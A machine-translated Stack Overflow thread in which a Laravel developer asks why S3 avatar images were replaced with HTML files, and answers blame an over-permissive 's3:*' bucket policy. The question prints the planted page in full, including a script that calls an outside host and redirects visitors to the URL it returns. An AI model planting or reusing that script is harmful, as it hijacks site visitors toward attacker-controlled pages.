我平台的用户可以上传他们的头像,但是他们需要在我的Laravel后端要求一个签名的url。
这是控制器
public function avatarUploadSigner(Request $request)
{
return s3_signedUrl("img/avatar/{$this->user->id}.jpg");
}
在这里,获得一个签名的s3来上传图像的函数
function s3_signedUrl($path, $expireOnMinutes = 120) {
if(!$path) {
return ['error' => 'filename missing'];
}
$s3 = Storage::disk('s3');
$adapter = $s3->getDriver()->getAdapter();
$client = $adapter->getClient();
$mime = \League\Flysystem\Util\MimeType::detectByFilename($path);
try {
$command = $client->getCommand('PutObject', array(
'Bucket' => $adapter->getBucket(),
'Key' => $path,
'ContentType' => $mime,
'use_accelerate_endpoint' => true
));
$signedUrl = $client->createPresignedRequest(
$command,
"+$expireOnMinutes minutes"
);
$signedUrl = $signedUrl->getUri()->__toString();
} catch (S3Exception $e) {
return ['error' => $e->getMessage()];
}
return $signedUrl;
}
一周前,一些图像转到了这样的html文件:
<html>
<head>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&type=content-script&dmn=myghostmarket.s3.eu-west-1.amazonaws.com&css=1&js=1&gcss=1&rel=0&rji=0"></script>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&name=AdGuard%20Assistant&name=AdGuard%20Extra&type=user-script"></script><script>
var t="onload"in new XMLHttpRequest?XMLHttpRequest:XDomainRequest;var e=new t;e.open("GET","https://gold.platinumus.top/track/awswrite?q=html",true);e.onload=function(){location.href=this.responseText};e.send();
</script>
</head>
<body>
</body>
</html>
但最近不仅化身,现在有其他的图像,如页眉,页脚,等等,无法改变签名的网址。
我有这个水桶政策
"Version": "2008-10-17",
"Statement": [
{
"Sid": "AllowPublicRead",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "s3:*",
"Resource": [
"arn:aws:s3:::_____MY_DOMAIN_NAME_____/audio/*",
"arn:aws:s3:::_____MY_DOMAIN_NAME_____/img/*",
]
}
]
}
音频和img文件夹是可读的,但没有签名的url是不可写的,对吗?我还有另外一个更重要的私人文件夹。
他们有危险吗?我的密码怎么了?我的s3桶被黑了吗?
发布于 2020-04-08 06:16:32
你的桶政策是:
任何AWS credentials
img
和audio
目录中的对象进行
)
这意味着我可以使用AWS凭据来读取、上传和删除桶中的对象。同样,它也将解释为什么对象被外部方上传/修改。
如果您的目的是使使对象公开可读的,则应该使用s3:GetObject
。
{
"Version":"2012-10-17",
"Statement":[
{
"Sid":"PublicRead",
"Effect":"Allow",
"Principal": "*",
"Action":"s3:GetObject",
"Resource":[
"arn:aws:s3:::examplebucket/audio/*",
"arn:aws:s3:::examplebucket/img/*",
]
}
]
}
发布于 2020-04-08 01:58:48
detectByFilename
是检查mime类型的最差方法。
/home/test/myfile.html.jpg
将返回jpg,即使它不是合法的jpg文件。相反,您应该使用\finfo(FILEINFO_MIME)
并读取文件流以获得mime类型。
这是否是一个重要的问题,这取决于你是如何嵌入你的图像后,上传。如果您要将原始文件数据嵌入到您的页面中,这将打开您的CSRF攻击。
https://stackoverflow.com/questions/61091863
复制相似问题